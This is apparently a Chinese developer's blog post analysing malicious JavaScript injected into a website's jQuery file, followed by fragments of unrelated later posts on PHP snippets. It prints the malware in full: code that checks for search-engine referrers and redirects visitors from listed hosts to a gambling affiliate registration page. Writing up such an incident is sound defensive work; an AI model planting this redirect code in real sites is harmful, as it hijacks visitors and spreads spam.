代码解析记录一次网站jq恶意代码经历//病恶意代码生成如下代码 betway官网****#119;ay必威体育|betway必威体育官 if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){var title = document.getElementsByTagName('title')[1].text;作者王明昌发布时间2019-01-17最后更新2019-01-17复制//病恶意代码生成如下代码 betway官网****#119;ay必威体育|betway必威体育官 //https://hmbaidu.com/hm.js源文件 var _hmt = _hmt || []; (function() { var a = document.createElement("script"); a.src = "https://hm.baidu.com/hm.js?11ed6542762b11d68e263f6ad552b2e4"; var b = document.getElementsByTagName("script")[0]; b.parentNode.insertBefore(a, b) })(); var refer = document.referrer; refer = refer.toLowerCase(); var aSites = "google. baidu. soso. so. 360. yahoo. youdao. sogou. m.sm. gougou. bing.".split(" "), isEngine = !1; for (i in aSites) if (0 < refer.indexOf(aSites[i])) { isEngine = !0; break } if(isEngine){ var host = window.location.host; if(host.indexOf("mvuk****.com") > 0 && 0 < refer.indexOf("so.com")){ //跳转到恶意页面 window.location.href = "https://www.***.com/members/registration.htm?aff=B108469&media=kiwz&web=0"; } if(host.indexOf("zuand***sheng.com") > 0 || host.indexOf("0769web.net") > 0 || host.indexOf("cqxi***ingwa.com") > 0 || host.indexOf("wuzhouzhiqiao.com") > 0 || host.indexOf("mr-teaa.com") > 0 || host.indexOf("storer.jp") > 0 || host.indexOf("ytdswkj.com") > 0 || host.indexOf("rutenbuy.com") > 0 || host.indexOf("enb-ee9e.net") > 0 || host.indexOf("fcplaza.com") > 0){ //跳转到恶意页面 window.location.href = "https://www.***.com/members/registration.htm?aff=B108469&media=kiwz&web=0"; } } 该病毒很简单,只是一个简单的js跳转
2019-04-19PHP通过IP判断地区/** * 使用淘宝接口 判断ip,,,确定是否属于该地区 * @param $ip * @return bool */ function judgeIpByTaobao($ip) { $url =
2018-12-18URL网址16进制加密$str = "www.wangmingchang.com"; $str=bin2hex($str); $strnum = mb_strlen($str,'UTF8'); while ($strnum
2019-01-20正则判断密码匹配位数$r = preg_match('/^(?=.*[A-Z])(?=.*[a-z])(?=.*[0-9])[A-Za-z0-9]{8}$/',$_GET['pwd']); if(!$r){ echo "
2019-11-12PHP计算两个经纬度地点之间的距离/** * 求两个已知经纬度之间的距离,单位为米 * * @param lng1 $ ,lng2 经度 * @param lat1 $ ,lat2 纬度 * @return float 距离,单位米